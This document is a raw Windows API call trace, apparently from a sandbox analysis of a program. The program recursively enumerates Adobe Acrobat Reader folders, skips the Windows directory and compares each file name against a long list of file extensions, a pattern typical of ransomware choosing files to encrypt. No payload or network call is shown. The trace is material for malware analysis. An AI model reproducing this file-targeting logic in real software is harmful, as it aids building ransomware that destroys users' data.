	[0173.855] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.855] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0173.855] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.855] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b41a7, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x27b41a7, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x27b41a7, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.856] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.856] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.856] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="check.cur", cAlternateFileName="")) returned 1
	[0173.863] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.863] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f5618, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x26f5618, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2767d0d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.863] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0173.863] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.863] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284cad6, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x284cad6, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="x.cur", cAlternateFileName="")) returned 1
	[0173.864] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.864] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x252b9a4, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x252b9a4, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x284cad6, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tools", cAlternateFileName="")) returned 0
	[0173.864] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0173.864] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.866] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.867] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0173.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.867] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0173.867] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.868] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0173.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.868] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.868] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0173.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.868] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.868] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0173.868] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.868] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.869] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0173.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.869] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.869] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.869] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0173.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.869] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0173.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.870] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0173.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.870] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0173.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.870] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.870] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e1275, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32e1275, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32e1275, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.870] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0173.871] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.871] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32baff3, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x32baff3, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.871] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.871] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.871] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.871] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0173.871] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.871] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.872] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.872] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0173.872] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ro-ro") returned 111
	[0173.872] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ro-ro") returned 1
	[0173.872] lstrlenW (lpString="ro-ro") returned 5
	[0173.872] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ro-ro") returned -1
	[0173.872] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x42b29b0
	[0173.872] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ro-ro") returned 111
	[0173.872] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\js\\nls\\ro-ro\\*", lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x41409d8
	[0173.872] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0173.872] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x3eea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.872] lstrlenW (lpString="ui-strings.js") returned 13
	[0173.872] lstrlenW (lpString=".1cd") returned 4
	[0173.872] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0173.872] lstrlenW (lpString=".3ds") returned 4
	[0173.872] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0173.872] lstrlenW (lpString=".3fr") returned 4
	[0173.872] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0173.873] lstrlenW (lpString=".3g2") returned 4
	[0173.873] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0173.873] lstrlenW (lpString=".3gp") returned 4
	[0173.873] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0173.873] lstrlenW (lpString=".7z") returned 3
	[0173.873] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0173.873] lstrlenW (lpString=".accda") returned 6
	[0173.873] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0173.873] lstrlenW (lpString=".accdb") returned 6
	[0173.873] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0173.873] lstrlenW (lpString=".accdc") returned 6
	[0173.873] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0173.873] lstrlenW (lpString=".accde") returned 6
	[0173.873] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0173.873] lstrlenW (lpString=".accdt") returned 6
	[0173.873] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0173.873] lstrlenW (lpString=".accdw") returned 6
	[0173.873] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0173.873] lstrlenW (lpString=".adb") returned 4
	[0173.873] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0173.873] lstrlenW (lpString=".adp") returned 4
	[0173.873] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0173.873] lstrlenW (lpString=".ai") returned 3
	[0173.873] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0173.873] lstrlenW (lpString=".ai3") returned 4
	[0173.873] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0173.873] lstrlenW (lpString=".ai4") returned 4
	[0173.873] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0173.873] lstrlenW (lpString=".ai5") returned 4
	[0173.874] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".ai6") returned 4
	[0173.874] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".ai7") returned 4
	[0173.874] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".ai8") returned 4
	[0173.874] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".anim") returned 5
	[0173.874] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0173.874] lstrlenW (lpString=".arw") returned 4
	[0173.874] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".as") returned 3
	[0173.874] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0173.874] lstrlenW (lpString=".asa") returned 4
	[0173.874] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".asc") returned 4
	[0173.874] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".ascx") returned 5
	[0173.874] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0173.874] lstrlenW (lpString=".asm") returned 4
	[0173.874] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0173.874] lstrlenW (lpString=".asmx") returned 5
	[0173.874] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0173.874] lstrlenW (lpString=".asp") returned 4
	[0173.874] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
